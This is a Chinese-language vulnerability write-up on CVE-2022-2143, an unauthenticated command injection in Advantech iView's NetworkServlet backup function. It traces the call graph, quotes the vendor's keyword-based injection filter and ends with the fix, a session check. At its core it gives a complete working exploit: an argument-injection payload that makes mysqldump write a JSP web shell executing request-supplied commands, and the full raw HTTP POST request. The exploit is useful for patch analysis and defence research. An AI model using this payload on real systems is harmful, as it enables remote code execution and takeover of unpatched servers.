CVE-2022-2143 Advantech iView NetworkServlet 命令注入RCE

闲来无事zdi

调用关系查询

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MATCH (n:Class{NAME:'javax.servlet.http.HttpServlet'})-[:EXTEND]-(c:Class)-[:HAS]->(m:Method)-[:CALL*2]-(m1:Method{NAME:'exec',CLASS_NAME:'java.lang.Runtime'}) return *

https://y4er.com/img/uploads/CVE-2022-2143-Advantech-iView-NetworkServlet-command-inject-rce/1.png

分析

com.imc.iview.network.NetworkServlet#doPost

https://y4er.com/img/uploads/CVE-2022-2143-Advantech-iView-NetworkServlet-command-inject-rce/2.png

两次校验

com.imc.iview.utils.CUtils#checkFileNameIncludePath(java.lang.String)

https://y4er.com/img/uploads/CVE-2022-2143-Advantech-iView-NetworkServlet-command-inject-rce/3.png

检验\webapps\防止写shell

com.imc.iview.utils.CUtils#checkSQLInjection检测了一些关键字。

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public boolean checkSQLInjection(String model0) {
    boolean result = false;
    String model = model0.toLowerCase();
    if (!model.contains(" or ") && !model.contains("'or ") && !model.contains("||") && !model.contains("==") && !model.contains("--")) {
        if (model.contains("union") && model.contains("select")) {
            if (this.checkCommentStr(model, "union", "select")) {
                result = true;
            }
        } else if (model.contains("case") && model.contains("when")) {
            if (this.checkCommentStr(model, "case", "when")) {
                result = true;
            }
        } else if (model.contains("into") && model.contains("dumpfile")) {
            if (this.checkCommentStr(model, "into", "dumpfile")) {
                result = true;
            }
        } else if (model.contains("into") && model.contains("outfile")) {
            if (this.checkCommentStr(model, "into", "outfile")) {
                result = true;
            }
        } else if (model.contains(" where ") && model.contains("select ")) {
            result = true;
        } else if (model.contains("benchmark")) {
            result = true;
        } else if (model.contains("select") && model.contains("from")) {
            if (this.checkCommentStr(model, "select", "from")) {
                result = true;
            }
        } else if (model.contains("select/*")) {
            result = true;
        } else if (model.contains("delete") && model.contains("from")) {
            if (this.checkCommentStr(model, "delete", "from")) {
                result = true;
            }
        } else if (model.contains("drop") && model.contains("table") || model.contains("drop") && model.contains("database")) {
            if (this.checkCommentStr(model, "drop", "table")) {
                result = true;
            }

            if (this.checkCommentStr(model, "drop", "database")) {
                result = true;
            }
        } else if (!model.contains("sleep(") && !model.contains(" rlike ") && !model.contains("rlike(") && !model.contains(" like ")) {
            if (model.startsWith("'") && model.endsWith("#") && model.length() > 5) {
                result = true;
            } else if ((model.startsWith("9999'") || model.endsWith("#9999") || model.contains("#9999")) && model.length() > 10) {
                result = true;
            } else if (model.contains("getRuntime().exec") || model.contains("getruntime().exec") || model.contains("getRuntime()")) {
                result = true;
            }
        } else {
            result = true;
        }
    } else {
        result = true;
    }

    if (result) {
        System.out.println("Error: SQL Injection Vulnerability detected in [" + model0 + "]");
    }

    return result;
}

那么mysqldump可以拼接-w参数将内容写入文件,然后可以多次传递-r参数覆盖原有的-r文件路径值

正常的命令为

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"C:\Program Files (x86)\MySQL\MySQL Server 5.1\bin\mysqldump" -hlocalhost -u root -padmin --add-drop-database -B iview -r "c:\IMCTrapService\backup\aa"

命令注入构造payload

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2.sql" -r "./webapps/iView3/test.jsp" -w "<%=new String(com.sun.org.apache.xml.internal.security.utils.JavaUtils.getBytesFromStream((new ProcessBuilder(request.getParameter(new java.lang.String(new byte[]{99,109,100}))).start()).getInputStream()))%>"
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POST /iView3/NetworkServlet HTTP/1.1
Host: 172.16.16.132:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 79

page_action_type=backupDatabase&backup_filename=2.sql"+-r+"./webapps/iView3/test.jsp"+-w+"<%25%3dnew+String(com.sun.org.apache.xml.internal.security.utils.JavaUtils.getBytesFromStream((new+ProcessBuilder(request.getParameter(new+java.lang.String(new+byte[]{99,109,100}))).start()).getInputStream()))%25>"

拼接之后为

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"C:\Program Files (x86)\MySQL\MySQL Server 5.1\bin\mysqldump" -hlocalhost -u root -padmin --add-drop-database -B iview -r "c:\IMCTrapService\backup\2.sql" -r "./webapps/iView3/test.jsp" -w "<%=new String(com.sun.org.apache.xml.internal.security.utils.JavaUtils.getBytesFromStream((new ProcessBuilder(request.getParameter(new java.lang.String(new byte[]{99,109,100}))).start()).getInputStream()))%>"

https://y4er.com/img/uploads/CVE-2022-2143-Advantech-iView-NetworkServlet-command-inject-rce/4.png

有php日志getshell的那味了。

修复

https://y4er.com/img/uploads/CVE-2022-2143-Advantech-iView-NetworkServlet-command-inject-rce/5.png

判断session登录状态

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。